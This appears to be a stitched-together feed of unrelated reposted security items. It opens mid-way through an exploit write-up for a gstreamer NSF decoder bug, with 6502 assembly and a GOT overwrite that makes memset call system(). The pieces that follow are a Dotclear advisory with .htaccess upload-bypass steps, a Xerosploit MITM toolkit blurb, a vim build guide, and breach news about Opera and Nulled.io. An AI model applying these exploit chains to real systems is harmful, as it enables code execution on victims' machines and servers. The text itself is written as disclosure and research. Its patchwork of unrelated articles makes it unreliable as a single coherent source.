all the way to 0xf000 backed by nsf->data + (7 * 4096). So even in this very simple example case, reading linearly in the 6502 emulator from 0x8000 to 0xffff will result in the read of 72 bytes of real ROM data followed by 32696 bytes of out of bounds heap data! But this is just an out of bounds read, because virtual addresses 0x8000 - 0xffff are read only in the emulator. An OOB read is not particularly serious in the context of the emulator. It could be used as a useful tool to bypass ASLR, but any sensitive data read in the host heap can only be used to play sound. The emulator doesn’t have any advanced functionality such as e.g. the ability to egress heap data via network connections. In the most serious case, if the emulator were running as part of an internet server for music conversion, the attacker could render parts of OOB heap content as sound waves in the output file, to try and steal interesting data from the server’s heap. However, a second logic quirk of this particular emulator makes things more serious: 2: Ability to load or bank switch ROM to writable memory locations (Probably not an actual vulnerability per se; no identified assigned.) Other NES music players I’ve looked at do not permit the loading or bank switching of ROM data at addresses below 0x8000. But this particular player does, either via a ROM load address in the file header that is below 0x8000, or via writes to the bank registers 0x5ff6 or 0x5ff7 (other emulators do not even have bank registers as low as 0x5ff6 or 0x5ff7): static nes6502_memwrite default_writehandler[] = { {0x0800, 0x1FFF, write_mirrored_ram}, {0x4000, 0x4017, apu_write}, {0x5FF6, 0x5FFF, nsf_bankswitch}, {(uint32) - 1, (uint32) - 1, NULL} }; Writing e.g. 0x00 to 0x5ff6 will result in the first 4096 bytes of ROM being mapped read and write at 6502 virtual address 0x6000. In our 200 byte file example, this means that a subsequent write of 0x41 to virutal address 0x6048 will result in 0x41 being written out of bounds relative to the host emulator heap. As can be appreciated, we now have a lot of read and write control over the host emulator heap and the more experienced exploit writers will realize that successful exploitation is already all but assured. The exploit: overview Here is an image of the exploit file inside okteta, a hex editor: This is the full exploit and as you can see, it’s pleasingly compact at 416 bytes. The image has been decorated with three colored lines that show the different pieces of the exploit file: Blue, for the 128 byte header. Much of the header is irrelevant and in fact, clever exploit techniques could conceivably compress some of the payload into the header. It would be a beautiful challenge to take this exploit and try and do the same in as few bytes as possible In terms of significant fields in the header: 0x8000 (little endian, as are the subsequent values) at offset 8. This is the virtual ROM load address. 0x8070 at offset 10. The virtual address of the initial 6502 routine that is called once. 0x80a0 at offset 12. The virtual address of the per-frame 6502 routine. 0x41a1 at offset 110. The frame timing. Needs to be left alone to ensure the sound engine works. Orange, for metadata, at the start of the ROM image directly after the header. This metadata is loaded at virtual address 0x8000 and is available and used in the 6502 program. The metadata includes the string “xcalc”, the eventual payload, a constant to search for in the heap to make the exploit reliable, and a table of reads, additions and writes to perform on the main heap in order to progress the exploit. Green, for real 6502 opcodes -- yay! The exploit proceeds via a program written entirely in 6502 assembly. The music playing emulator will emulate these opcodes, but break out of virtual 6502 address space into the host emulator main heap on account of the vulnerability details outlined above. The exploit: details So how does the exploit work to reliably pop a calculator in so few bytes? The exploit is 416 bytes: 128 bytes of header and 288 bytes of ROM which are mapped at virtual 6502 address 0x8000. The ROM consists of a bunch of metadata followed by some 6502 opcodes. In order to explore 6502 and “compile” 6502 assembly, this web page is a nice resource: Easy 6502. The page also makes the claim “6502 is fun!” -- I concur. The reasonably commented 6502 assembly source for the opcodes in the exploit is here: asm_final_main.asm. With a couple of tiny extra routines: asm_final_init.asm, asm_final_adder.asm. The exploit proceeds as follows: 1: Locate important metadata object of type nes6502_context in main heap Because of the vulnerability noted above, any read from 0x8120 - 0xffff will read out of bounds in the host heap, so we can therefore read out of bounds until we locate bytes in the host heap that we believe correspond to the nes6502_context object, which is defined like this: typedef struct { uint8 * mem_page[NES6502_NUMBANKS]; /* memory page pointers */ ... nes6502_memread *read_handler; nes6502_memwrite *write_handler; int dma_cycles; uint32 pc_reg; uint8 a_reg, p_reg, x_reg, y_reg, s_reg; uint8 int_pending; } nes6502_context; Why are we keen to locate this particular object? For two reasons. Firstly, it controls how the 6502 virtual memory accesses map to the host heap. By taking control of this mapping, we’ll get read and write access anywhere in the virtual memory of the host process. Secondly, the object contains pointers into the BSS section. Locating the BSS is important later in the exploit. We identify the object in memory via the byte sequence 00 00 00 00 00 50 00 00 00 00 00 00 ff 00 00 00 (which you can find in the exploit file at ROM offset 0), on a 16-byte alignment, which corresponds to the initial values in the fields from dma_cycles to s_reg. (Due to a bug, these initial values are never synced with the real current register values, so we can search for them reliably.) 2: Remap the 6502 virtual read write address 0x6000 to point to nes6502_context::mem_page[6] It would be remiss of me not to cite some beautiful 6502, so here’s the code that writes the magic hardware register to map 0x6000 to out of bounds ROM: ; Some fairly simple calculations and then memory bank remapping. ; Match address is stored at 0x02, e.g.: 0x91b0 ; Subtract 0x60 from the match address. ; This indexes earlier into the real heap metadata object. ; It indexes to a real pointer to the backing heap for 6502 0x6xxx RAM. ; Subtract 0x8000 to get offset from ROM base. LDA $02 SEC SBC #$60 STA $02 LDA $03 SBC #$80 STA $03 ; Now, 0x02 contains e.g. 0x1160 ; Shift the most significant byte to get the ROM bank id. ; Each bank is 0x1000 in size. LSR LSR LSR LSR ; In this case, our bank id is 1. ; Write 1 to magic hardware register 0x5ff6. ; Causes 0x6xxx RAM to map to 0x1000 into the ROM. ; Which will be out of bounds relative to main host heap :-) ; Note that 0x6xxx is writable whereas 0x8xxx+ is not, so we need this. ; Offset e.g. 0x160 into the 0x6xxx space is a main heap pointer. ; This main heap pointer can be read/written from 6502 at e.g. 0x6160. STA $5ff6 If you’re not familiar with 6502, hopefully you got an idea of some of the simple elegance of the opcodes. Perhaps you also noted some headaches: There’s no instruction to bitshift by a variable amount. Hence, 4 LSR’s in a row (logical shift right) to effectively do what is >> 4 in C. This really is an 8-bit processor, no 16-bit registers, so a simple 16-bit calculation has to be broken into two halves with careful management of the the carry flag! (SBC is SuBtract with Carry.) Once the correct ROM bank is mapped writable, there’s a further normalization calculation which actually adds the bank offset to the raw host heap pointer nes6502_context::mem_page[6]. This is a very precise memory corruption and it takes effect the next frame. It ensures that 0x6000 points exactly to nes6502_context::mem_page[6] for all possible bank offsets that we might have located it at. 3: Start a series of read / add / write sequences, in a one-per-frame loop With a normalized 6502 virtual address 0x6000 that points exactly to nes6502_context::mem_page[6], we’re in good shape to start reading and writing the full host heap (and stack / BSS / whatever pointers we can find and follow or calculate!) with perfect accuracy, using 6502 opcodes. If we modify the mem_page array, the effect is not visible to 6502 memory accesses until the next frame, so we simply do one memory modification per frame. The table used to drive the read / add / write loop is located at ROM offset 0x20 and each entry is 8 bytes, e.g. the first one: 50 60 08 60 60 6f ff ff This means, read 8 bytes from virtual address 0x6050, add (sign extended, effectively a subtraction) 0xffff6f60 to that 8 byte value, and write it back to virtual address 0x6008. 4: Calculate the address of the libgstnsf.so BSS We’re in luck: the value of nes6502_context::read_handler, which now is readily available at virtual address 0x6050, is at a fixed value from the start of the BSS because it points to an object in the BSS. We calculate the start of the BSS and write it to virtual address 0x6008, which is nes6502_context::mem_page[7]. In other words, we just mapped a readable and writable view of the BSS at virtual address 0x7000 in our little 6502 CPU. 5: Edit the value of the memset() GOT entry At offset 0xf8 into the GOT exists the memset() function pointer. This is a pointer into glibc. It is now mapped at virtual address 0x70f8. Do you know what else is in glibc, at a fixed relative offset? system(). By adding a fixed value to the memset() GOT entry, we ensure future calls to memset() will in fact call system(). 6: Map the actual nes6502_context::read_handler object at 0x7000 Here’s the read_handler definition; the read_handler pointer points to an array of these: typedef struct { uint32 min_range, max_range; uint8 (*read_func)(uint32 address); } nes6502_memread; And here are some of the entries that fill this array: static nes6502_memread default_readhandler[] = { {0x0800, 0x1FFF, read_mirrored_ram}, {0x4000, 0x4017, apu_read}, {(uint32) - 1, (uint32) - 1, NULL} }; As you can see, this object contains function pointers. Useful. Also useful are that these function pointers are called in normal operation of the 6502 memory accesses, when accesses to certain virtual addresses are made. 7: Change the apu_read() function pointer By accessing virtual address 0x7018, we’re now (thanks to step 6 above) accessing index 0x18 into the read_handler BSS object. The apu_read() function pointer, called for reads of 0x4000 - 0x4017, is stored there. We add a little bit to this pointer (0x1d0) in order to in fact change the function pointer to apu_reset(). The reason will become apparent shortly! 8: Calculate the address of BSS variable apu, again using a fixed relative offset from nes6502_context::read_handler apu is defined thusly: /* pointer to active APU */ static apu_t *apu; We write the calculated address such that virtual address 0x7000 points to the value of apu. 9: Copy the value of the apu pointer into the memory bank mappings so we can dereference into the apu object at virtual address 0x7000 Just chasing a level of pointer indirection here, because the BSS value is just a pointer to the actual object which is on the heap. 10: Write the string “xcalc” into the apu object The apu object is quite large: typedef struct apu_s { rectangle_t rectangle[2]; triangle_t triangle; noise_t noise; dmc_t dmc; uint8 enable_reg; apudata_t queue[APUQUEUE_SIZE]; ... By writing at 0x70f0, we write to offset 0xf0 into this object, which is the the queue buffer field. We write the string “xcalc” here. 11: Read from the address 0x4000 … and a calculator appears! Black magic? No, the previous steps set things up carefully to cause this to happen. Here’s the sequence: 6502 reads from 0x4000. This is a special memory address that is supposed to call the apu_read() function pointer to handle the access. Instead, apu_reset() is called because we corrupted the function pointer earlier. apu_reset() contains the code line: memset (&apu->queue, 0, APUQUEUE_SIZE * sizeof (apudata_t)); But, we corrupted the memset() GOT entry to point to system(), and we wrote the string “xcalc” to apu->queue. Ergo, system(“xcalc”) is executed, and the calculator appears. Additional exploitation notes This exploit works equally well when run in the following binaries: totem rhythmbox (works so well that two calcs are popped ;-) gst-launch-0.10 nautilus (may launch a subprocess -- totem-video-thumbnailer?) This is despite differing heap layouts. The code to scan the heap for the metadata object of interest, as opposed to relying on a fixed offset, is what provides most of the reliability. The astute reader will note that the heap scan runs only forwards and only for about 32kB. So what if heap jitter results in the all important metadata object getting allocated before the ROM data? This is a definite possibility but does not appear to be a big bother in this instance. The NSF decoder runs in a fresh new thread, which in turn generally gets a new heap arena, resulting in decent determinism in heap layout. The metadata object is allocated temporally after the ROM data, so it will typically get placed after. That said, if the ROM data is made bigger, it can (deterministically, due to heap holes of deterministic size) end up after the metadata object. Our closing note on heap layout is that, if we needed them, we do have opportunities for heap grooming. Aside from the attacker controlled ROM size, there’s also some variable length header strings (song title etc.) that get heap allocated. Finally, we note that the gstreamer code for format detection is very non-trivial and may offer further opportunities to control heap state. What lessons can be learned? While investigating this exploit, a number of hardening ideas came up. Also, a comparison of Ubuntu vs. Fedora -- even when extended to the latest releases -- reveals that Ubuntu is slipping behind Fedora for some exploit mitigations. In no particular order: The attack surface of the Linux desktop does not appear to be under control, or adequately monitored for regression. In the case of Ubuntu, adding MP3 support also appears to add support for a huge number of obscure and largely unnecessary audio and video decoders. These contribute little to the desktop experience but greatly to the security risk. The relevant gstreamer extra plug-in packages even identify the additional decoders as “bad” or “ugly” in the package name. An effort to further split the decoders into “useful” ones vs. “obscure / risky” ones is recommended. Initial signs show that the security quality of the gstreamer code is behind the ffmpeg code. One of the reasons for this is likely to be j00ru’s / Google’s significant effort put into improving ffmpeg security: FFmpeg and a thousand fixes. Still, an important question for discussion is whether gstreamer’s decoders should be replaced with an ffmpeg based backend. Ubuntu is not nearly as thorough as Fedora in using ASLR on binaries. Comparing Ubuntu 16.04 vs. Fedora 24, we see that Fedora has ASLR on the binaries for totem, rhythmbox and gst-launch-1.0. Ubuntu only has ASLR on totem. Fedora appears to make good use of RELRO whereas Ubuntu does not. RELRO prevents messing with the function pointers in the GOT. The level of sandboxing is disappointing across both Ubuntu and Fedora. Parsing media files in C has always been a hot spot for security and one mitigation is sandboxing. I don’t see much across Fedora or Ubuntu to use SELinux or AppArmor to meaningfully sandbox totem, rhythmbox, the thumbnailing processes, etc. by default. There does appear to be interest, but the urgency does not seem to be high. One useful source: AppArmor Confinement. There’s also this Ubuntu bug to sandbox all the thumbnailers, open since 2011: gnome thumbnailers should have an apparmor profile. Changes in the Linux glibc heap management code have increased certain aspects of heap layout determinism, particularly for threaded programs. This is a topic for further exploration in a different blog post. 6502 really is fun. Closing notes There’s a critical reason that decent, reliable exploitation was possible with this bug: the presence of some form of “scripting” language. In this case, that script happens to be 6502 opcodes. Having an exploit running in script enables important exploitation aspects, such as making decisions based on exploitation environment, and in particular, using code to observe the effects of a corruption (such as a memory leak) and make sensible follow-up decisions. One of the reasons that browsers and browser plug-ins (Flash, Java) are popular exploitation targets is precisely because they are fundamentally scripting environments. Another great example of this phenomena is Windows font parsing and rendering. This has traditionally occurred in the kernel(!!) and rending modern fonts involves…. yes, running a little language to make rendering decisions. Well, many times, attackers have used that same language to cause Windows kernel corruptions and proceed to full ring 0 compromise by using a script-inside-font to make decisions about reliably proceeding with the exploit. So watch out for scripting in unexpected places! Source: https://scarybeastsecurity.blogspot.cz/2016/11/0day-exploit-compromising-linux-desktop.html

Penetration testing laboratories "Test lab" emulate an IT infrastructure of real companies and are created for a legal pen testing and improving penetration testing skills. Laboratories are always unique and contain the most recent and known vulnerabilities. Developing "Test lab" labs we try to cover almost all IT areas: network security, security of OSs and applications. Participants are supposed to exploit the variety of vulnerabilities in network components and cryptographic mechanisms, in configurations and code, and also to use a human factor. While developing "Test lab" labs we try to cover almost every IT areas: network security, security of OSs and applications. Participants are offered to exploit the variety of vulnerabilities in network components and cryptographic mechanisms, in configurations and code, and also using a human factor. "Test lab" presented as a computer network of virtual companies containing widely distributed misconfigurations and vulnerabilities. Penetration testing in labs is made based on a "grey box" methodology: participants have network infrastructure information in form of schema and a text description. Participants can use different methods of penetration - exploiting network services, web, social engineering, buffer overflow and etc. https://lab.pentestit.ru/ https://telegram.me/testlabru

So, fellow insane penguins, after 10 years we get a new vim release, specifically 8.0. It is the first major version after all these years and we have alot of goodies and features packed up. As vim is considered one of the best terminal based text editors in linux, i am sure alot of people will be hapy to get their hands on it. But enough with the chit-chat and let’s see what new features vim 8 brings with it: – Asynchronous I/O support, channels, JSON – Jobs – Timers – Partials, Lambdas and Closures – Packages – New style testing – Viminfo merged by timestamp – GTK+ 3 support – MS-Windows DirectX support If oyu would like to see all the changes and new fetaures added you can check the CHANGELOG. Anyhow, the purpose of this article is to describe the fastest way to make a .deb package from vim8 sources and have it installed on your Debian. I’m using Debian 8.5 (Jessie) so if you are trying to doit on a different system make sure you know what you are doing. First, we need to install the pre-requisites. We need checkinstall in order to build the .deb packages and the ncurses libraries (i chose ncurses but you can use any other terminal handling libraries) root@debian:/usr/src# apt-get install checkinstall libncurses5-dev Now we need to clone the vim git repository so we switch to ‘/usr/src’ and clone it there, then we switch the working directory to ‘vim’ root@debian:~# cd /usr/src root@debian:/usr/src# git clone https://github.com/vim/vim.git root@debian:/usr/src# cd vim While in the ‘vim’ directory, we first need to configure it, so it detects the system and see if we miss anything. If there’s anything missing the ‘./configure script will spit out a nice error that will tell you what is missing. On my end i had everything installed. Usually checkinstall should install it’s dependencies when you install it. But, back to the scope of this article. root@debian:/usr/src/vim# ./configure After ‘./configure’ script is done you will simply need to issue the ‘checkinstall’ command. Here you will be presented with 13 options that you can edit as it follows: root@debian:/usr/src/vim# checkinstall checkinstall 1.6.2, Copyright 2009 Felipe Eduardo Sanchez Diaz Duran This software is released under the GNU GPL. ***************************************** **** Debian package creation selected *** ***************************************** This package will be built according to these values: 0 - Maintainer: [ root@debian ] 1 - Summary: [ ] 2 - Name: [ vim ] 3 - Version: [ 20160914 ] 4 - Release: [ 1 ] 5 - License: [ GPL ] 6 - Group: [ checkinstall ] 7 - Architecture: [ amd64 ] 8 - Source location: [ vim ] 9 - Alternate source location: [ ] 10 - Requires: [ ] 11 - Provides: [ vim ] 12 - Conflicts: [ ] 13 - Replaces: [ ] Feel free to edit each of these options as you may see fit. Upon successful completion, ‘checkinstall’ will generate the .deb package and also install it automatically. ********************************************************************** Done. The new package has been installed and saved to /usr/src/vim/vim_8.0.3-20160914-1_amd64.deb You can remove it from your system anytime using: dpkg -r vim ********************************************************************** Source: http://insanepengu.in

Xerosploit is a penetration testing toolkit whose goal is to perform man in the middle attacks for testing purposes. It brings various modules that allow to realise efficient attacks, and also allows to carry out denial of service attacks and port scanning. Powered by bettercap and nmap. Dependencies nmap hping3 build-essential ruby-dev libpcap-dev libgmp3-dev tabulate terminaltables Instalation Dependencies will be automatically installed. git clone https://github.com/LionSec/xerosploit cd xerosploit && sudo python install.py sudo xerosploit Tested on Operative system Version Ubuntu 16.04 / 15.10 Kali linux Rolling / Sana Parrot OS 3.1 Features Port scanning Network mapping Dos attack Html code injection Javascript code injection Download intercaption and replacement Sniffing Dns spoofing Background audio reproduction Images replacement Drifnet Webpage defacement and more ... Demonstration Contact: Website : http://lionsec.net Youtube : https://youtube.com/inf98es Facebook : https://facebook.com/in98 Twitter: @LionSec1 Email : ledonman@gmail.com Download Source

Dotclear version 2.9.1 suffers from a remote shell upload vulnerability. ############################################# Dotclear 2.9.1 Malicious File Upload Restriction Bypass ############################################# [+] Software: https://dotclear.org/ [+] Author: Wiswat Aswamenakul [+] Affected version: only tested on 2.9.1 (previous version might be affected) [+] Platform: tested on Ubuntu 14.04, PHP 5.5.9 [+] Description Dotclear has a feature to upload files in Media Manager. However, by default, there is a filtering to prevent authenticated users to upload malicious files, such PHP code, to execute on the server. The default filter is as following. /\.(phps?|pht(ml)?|phl|s?html?|js)[0-9]*$/i (PCRE) The above filter does not filter .htaccess file which allows authenticated users to upload .htaccess file to the server which enable PHP code execution on any file extension. [+] Attack Reproduce Note: in order for this exploit to work, it is required that apache configuration allow the usage of .htaccess file on dotclear directory (dotclear itself has .htaccess to restrict access to cache folder by default) 1. Create htaccess file with following content AddType application/x-httpd-php .xpl 2. Upload htaccess file through local proxy, such as burp suite, and change file name to "..htaccess" 3. Create file "shell.xpl" with following content <?php phpinfo(); ?> 4. Upload "shell.xpl" to dotclear 5. Open the uploaded shell.xpl [+] Solution Suggested solutions require re-design of Dotclear which might cause significant time to implement. As a result, the author designed to implement suggested interrim solution in Dotclear version 2.10 to fix this vulnerability [+] Timeline - 12/07/2016 - Report vulnerability - 12/07/2016 - Dotclear acknowledge the vulnerability - 12/07/2016 - Fix is available in Dotclear trac - 13/08/2016 - Dotclear 2.10 is avaible for download - 24/08/2016 - Public Disclosure Thank you Dotclear authors for swift response and taking security issues importantly Source

Opera has reset passwords of all users for one of its services after hackers were able to gain access to one of its Cloud servers this week. Opera Software reported a security breach last night, which affects all users of the sync feature of its web browser. So, if you’ve been using Opera’s Cloud Sync service, which allows users to synchronize their browser data and settings across multiple platforms, you may have hacked your passwords, login names, and other sensitive data. Opera has around 350 Million users across its range products, but around 1.7 Million users using its Sync service had both their synchronized passwords as well as their authentication passwords leaked in the hack. Since the company has already reset passwords of all of its registered Opera Sync users and emailed them with details, you need not worry about your account. Additionally, the company has also informed all Opera Sync users about the security breach and recommended them to change passwords for their Opera Sync accounts as soon as possible. You can obtain a new password for Opera sync using the password resetting page. The complete details about the intrusion and extent of the breach are yet unknown. Opera Software encouraged users to reset passwords for any third party websites they may have synced with its service. However, if you are the one using the same password for multiple sites, you are also advised to change your passwords for those sites manually. Since we’ve repeatedly seen folks reusing passwords across multiple services with recent high-profile account hacking, you are advised to use a good password manager always to keep a strong, unique password for your online accounts. We have listed some best password managers that would help you understand the importance of password managers and choose a suitable one according to your requirement. Via thehackernews.com

Nu.

sniff.su sau http://lifehacker.com/how-to-tap-your-network-and-see-everything-that-happens-1649292940

An underground forum called Nulled.io that helped users share stolen credentials, software cracks, and leaked content was hacked earlier this month, spilling a glut of information, including users’ email addresses, encrypted passwords, and IP addresses, among other details. According to researchers at Risk Based Security who reported the breach last week, a 1.3 GB tar.gz file, which expanded to a massive 9.45 GB SQL file was leaked on May 6. A deluge of information relating to the message board was leaked, including details on roughly 536,064 registered users – and 800,593 personal messages between them, according to the firm. The site, which ironically goes by the tagline “Expect the unexpected,” is currently offline. A placeholder message claims the service is experiencing “temporary unscheduled maintenance. Usernames for patrons of the site were leaked; along with the dates they registered, IP addresses they used to register for the service, and their encrypted passwords. Information on how some users paid, including payment methods, PayPal emails, dates, and costs, listed in table form, were leaked as well. Other potentially personally identifiable information, including 2.2 million posts, many which were previously private and part of a VIP section, were dumped as well, along with API credentials for three payment gateways, and more than 907,000 authentication logs. According to Risk Based Security, information from those logs – including geolocation data, member ID and IP addresses, and user donation records – could be cobbled together and matched with member ID numbers. Technically 5,582 purchase records and 12,600 invoices – which link back to those donation records – were also dumped, according to the firm. It’s unclear exactly how the forum was breached but as Risk Based Security points out, the site was running a type of forum, IP.Board, made by Invasion Power Services, Inc., that has several documented vulnerabilities. The firm notes that 185 total vulnerabilities exist in IP.Board, 92 which don’t have a CVE. According to a blog post by the firm last Tuesday, the last user to log into the forum did so that previous Friday, May 6, suggesting the breach may have occurred late that night. Later that weekend, Daniel Cid, CTO/Founder of Sucuri, a web security firm, warned on Twitter that forums could be a “sweet spot” for attackers looking to exploit the ImageTragick vulnerability, adding that he had noticed some attempts against IP.Board, in addition to vBulletin forums. Vulnerabilities in ImageMagick, a type of open source image processing software, were outlined earlier this month. Attackers could leverage the vulnerabilities by affixing malicious code to an image file that the software processes and in turn, triggers remote code execution. For what it’s worth, while combing through the Nulled.IO database, Risk Based Security noticed that 365 users who accessed the site used .edu addresses. Eight other users accessed the site via .gov addresses, and emails stemming from government domains in Jordan, Brazil, Malaysia, and Turkey. When it comes to the leaked information, it likely won’t be too difficult for anyone, law enforcement included, to connect the dots. “When services such as Nulled.IO are compromised and data is leaked, often it exposes members who prefer to remain anonymous and hide behind screen names,” the firm wrote Tuesday, “By simply searching by email or IP addresses, it can become evident who might be behind various malicious deeds.” “With this being such a comprehensive dump of data it offers up a very good set of information for matching a member ID to the attached invoices, transactions and other content such as member messages and posts,” the firm warns. Via